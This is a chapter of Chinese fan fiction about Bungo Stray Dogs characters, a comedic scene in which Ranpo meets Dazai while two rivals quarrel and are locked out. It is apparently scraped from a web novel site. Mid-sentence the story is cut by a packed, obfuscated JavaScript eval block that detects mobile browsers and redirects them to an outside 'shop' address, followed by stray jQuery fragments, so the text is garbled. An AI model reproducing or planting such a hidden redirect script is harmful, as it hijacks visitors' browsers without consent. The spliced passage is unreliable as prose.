38.太苦我,OUT!

作品:《“书”想和太宰谈恋爱

    几人简单聊了几句无意义的闲话,没聊几分钟就准备散场子,Mafia两人瞬间起身。


    五大干部之一的中原中也:等急了我。


    中原中也向他们告辞,芥川龙之介也表明去意,两人率先离开。


    赶紧走赶紧走赶紧走!!!


    很多年后记者采访Mafia的中原先生,得到最强重力使的严肃回复,遇见太苦我就一定没好事!


    两人快快的走,很快溜出门外。


    太苦我注视着一黑一橘消失的背影,等彻底看不见两人的背影,他瞬间踢开椅子,椅子摩擦地面发出刺耳的响声。太苦我跳起来就往后跑。


    太宰太宰太宰太宰太宰!!!太苦我双眼发亮的起飞。


    动作疾驰,身后猛的出现被拉扯的感觉。


    一义容辞猛的伸手,拦住他,动作几乎和太苦我同频。


    两人的速度一比一的快,快出残影。江户川乱步为之震惊,站在旁边思考太宰治的魅力到底在哪里。


    想不明白,名侦探决定来一次双人见面会认识认识。


    趁着这两个人打闹,江户川乱步甩着披风就der的跑走了。两个纷争的情敌还没有意识到自己错过了什么,打打闹闹,没察觉被偷了家。


    太苦我:“你放开我!”


    一义容辞:“不行,太苦君,虽然很抱歉,但是请一定要让我包养甜滋滋小姐,这是我一生的诉求!”


    “滚啊!这分明是我一生的诉求!”


    “是我的!”


    “我的!!”


    “我!!!”


    两人嚎的声音相当大,江户川乱步蹦蹦跳跳走到侧门时还听到若隐若现的大喊,仿佛是热带雨林的猴子一样叽叽喳喳。


    名侦探边走边叹气,无奈地捂住耳朵。


    很快,他哒哒的跳着走向靠门边站着等的太宰,笑靥如花,像是去奔赴美好未来。


    “甜滋滋~”江户川乱步大声喊道,语气里带着纯属孩子气的欢乐。他眼睛眯眯弯笑,萌萌哒像一只活跃的猫猫,“我来啦,你等急了吧!”


    他嘻嘻的扑上去,张开双手,一把抱住了站直身子、同样张开双手主动拥抱的太宰治。


    两个人抱在一起,左右身体一摇一晃的,像是不倒翁。


    鹬蚌相争,渔翁得利。①


    这边已经好上了,另一边还在吵。


    “他是我的——”


    “我的——”


    “我——”


    声音从墙里回荡在耳边。


    两个聪明人一同忽视了两个笨蛋声,手牵着手,乐呵呵的找到一间候客室坐下。


    候客室里安置着沙发,屁股坐上去软软的,边上有毛毯,可以随意使用盖身保暖。桌上摆放着餐巾纸和花瓶,瓶口中延展出美丽的满天星,不过是干花了。


    这里的侍者很有眼力见儿,一见有人立马上茶,也不管你是客是主是服务生。


    来了就是一杯茶,放下就走,半点不打扰。


    “没想到第一个来找我的是乱步先生,我还以为是太苦君。”太宰治礼貌用语的说着,语气听不出任何不善。


    他歪头笑眯眯地端起茶杯边沿,指尖因为浮起的热温渐染上粉色,他的手指修长,是随意捯饬捯饬就能上宣传海报的程度,看着赏心悦目。


    江户川乱步差一点也被他魅上了。


    “因为他们一直在那边争争打打,我可没有兴趣看那两个笨蛋斗殴,”江户川乱步骄傲地挺了挺胸膛,拈起一旁的马卡龙一整个咬进了嘴里,这个小甜品也是刚刚被侍者送过来的,他接着说,“而且我也很好奇太宰呀,更何况,你不就是在等我吗?”


    他说的自信,太宰治也笑得高兴。


    “不愧是乱步先生。”太宰治弯眉。


    江户川乱步自得的扬起下巴:“既然我们都已经面对面了,那我就把准备说的话一次性全说了。”


    “请。”太宰治伸手示意自己不会插嘴打扰。


    “太苦我那家伙虽然有在努力学习中,但态度没有跟上,很多时候没法控制自己的本能,像是一个不懂变通的巨人一样,只懂用蛮力掀桌,状态更是雪上加霜。”


    “最开始的时候更糟糕,简直就是一头野蛮的猪。”


    太宰治:“?”


    为什么要和我说这个?


    头发蓬蓬的少年歪歪脑袋,疑惑顺着脑神经传到发丝上,发出霹雳一闪。他抿了抿唇,忽然意识到江户川乱步把他当成什么人在控诉了。


    ——大家长(伴侣)。


    太宰治:“???”肉眼可见的迷惑。


    他看起来很有家长的威严吗?


    不理解,但尊重。


    太宰治无奈的弯弯唇,决定听这位前辈说完话就走。因为太苦我即将赶到战场,他不是很想和那蠢蛋对话。


    “我最开始见他的那段时间,他闯了可大的祸。把国木田吓得…吧啦吧啦……让他都有心理阴影了。太苦还不知节制的使用异能力,我对这个倒没什么要求,但是他也太过分了,连喝水都要让水自动变成一长串水流飞进嘴里,我都没那么享受过……”江户川乱步开启了流水账告状。


    滔滔不绝如长江水,丝毫不停歇。


    太苦我什么“吃东西从来不上厕所”“身上脏了从来不换衣服”“任务累了就让委托人失忆当做任务结束了”“视监他人导致他摔进水里了”“……”五花八门,什么黑历史都有。


    太苦我赶来:天塌了!!!


    “不要再说了!”太苦我匆忙的从门外摔进来,啪叽一身掉在地上。


    “甜小姐!!”紧跟着他冲过来的一义容辞也摔了,狼狈的趴在太苦我背上,两人成了两块大饼叠在一起。


    甜小姐是什么?太宰治看着叠叠乐不是很想理解。


    太苦我被压得差点没命,他倔强伸手朝向太宰治,动作颤颤巍巍。


    “甜宝,你不要听乱步老师的坏话,他都是骗你的。”太苦我朝他爬过去。


    甜宝又是什么鬼东西。太宰治侧目挑眉。


    “你别过来。”太宰治伸手打住。爬行的动作像一只断成半截的蜈蚣,渗人的慌,他害怕。


    “好的。”太苦我抬手比了个OK,坚强。


    太宰治转头盯着一义容辞:“你出去。”


    一义容辞委屈:“好。”


    她转身而走,太苦我得意的扬了扬下巴,对视上他咬牙切齿,恨不能一脚踹飞过去。一义容辞走出去了,关门时还好心的锁上了门,她老实的在门口待着,丝毫忘记了自己云雀总领的身份,像是在罚站。


    候客厅只剩三人。


    “太苦君。”太宰治投去淡然的视线,虽然还没想好准备和他说点什么,但B格不能忘,他就是最帅的宰。


    “是!”某人刚因为这一场(事)稍稍振奋。


    江户川乱步啧啧道:“太苦,你可从来没有对我这么老实听话过!”


    “对不起。”太苦我不想在太宰治面前留下坏印象,也不管自己到底有没有问题,错没错事情,立马飞快地认了错。


    “……”名侦探无语。


    三人的位置很有趣味。


    一条长沙发上,太宰治侧身坐左,江户川乱步侧身坐右,两人中


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280611|197935||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    间恰好空着一个能坐下人的位置。


    太苦我笔挺站在沙发桌子的前面,笔直地和竹竿一样,他双手叠着饭在身后,做足了小孩子听老师讲话的不敢言。可面对的人却不是他的真老师江户川乱步,而是他的“真老婆”太宰治。


    他面上带着自信的笑容。


    “你也出去。”与他相隔一个桌子的太宰治面无表情。


    眼前的少年肉眼可见的僵住了,他讷讷的看着冷漠无情的太宰治,还没来得及生气就被对方的美貌打败,灰溜溜的推门……没推开。


    太苦我挠挠脸颊,目光飘忽道:“门被锁了,太宰,我们好像都出不去了。”


    是不想出去还是不能出去你自己心里清楚。江户川乱步的眼神这么吐槽道,他摇头无奈叹气,感受到自己最叛逆的弟子给他带来的丢脸事件。


    太宰治微笑:“太苦君~”


    他拉着可爱的调子撒娇,语气顶顶好的可爱。


    “是!我在这里!”太苦我牛气冲天,他直觉情绪在心中喷涌,然整具身体得跟着幸福起来,“太宰,有什么事情是能被我做的吗?”


    太宰治点点头,脸上依旧带着一点儿迷之微笑。他脸上两坨画上去的腮红若隐若现,让人看一眼便觉得他皮笑肉不笑,眼神里还带着几分算计……


    猜到太宰治准备做什么的江户川乱步沉默,他默默歪头忍笑,上齿死死咬住下唇,生怕自己露出一点儿破绽。


    大笨蛋,你脑子是不是傻?


    名侦探平复心情,在心底为弟子的不争气而叹气,忍不住的在心底摇着头。以后还是要多多教导太苦我看眼色的能力,不指望他能和自己一样厉害,至少要能看出别人话里的意思,不至于被坑着拐走。


    如果福泽谕吉听到乱步自己这一番自夸:乱步,你觉得你自己很有眼色吗?


    天山地上唯我独尊称老大的名侦探表示无辜,他什么都没有错,在警察请求他查案的时候骂几句笨蛋有什么错,那些人又不重要,而且自己也确实帮了大忙!


    只有重要的人才值得他主动动脑子。就像是太苦我只喜欢听太宰治的话,江户川乱步也只喜欢听社长的夸奖。


    家人间想做的事情都是差不多的。


    目前根本没把对方当个人的太宰:你在胡说八道些什么,我根本和太苦我没关系!


    “可以拜托你把门打开吗?太苦~”太宰治双手捧着脸,上半身前倾,眼睛一眨一眨地盯着太苦我的脸,散发着无处不在的魅力,语调轻松。


    “君”这种充满疏离隔阂的没有用上!


    “好,”太苦我狠狠点头,飞快走到门边,手心搭上把手往下一压,还没用力,门自己听话的开了。他将门推开半边缝隙,转回头开开心心说,“我打开了,太宰!”


    太宰治:“谢谢,你也可以出去了。”


    太苦我:“?”


    太苦我,OUT!


    门再次被锁上。


    “哈哈哈哈哈哈哈哈哈哈!!!!”江户川乱步笑得红红火火恍恍惚惚,开朗的在沙发上打滚,把整座沙发都震得格外厉害。


    太宰治在旁边呆萌的看着,逐步掌握武装侦探社成员江户川乱步的性格特征,他微笑,像个机器人一般精明。


    门外。


    两张脸面面相觑。


    太苦我:“……”


    一义容辞:“……”


    “你也来了。”


    “嗯,外面怎么还有桌子?”


    “我喊人搬来的,准备打持久战。”


    “……”


    太苦我,你怎么不笑,是天性不爱笑吗?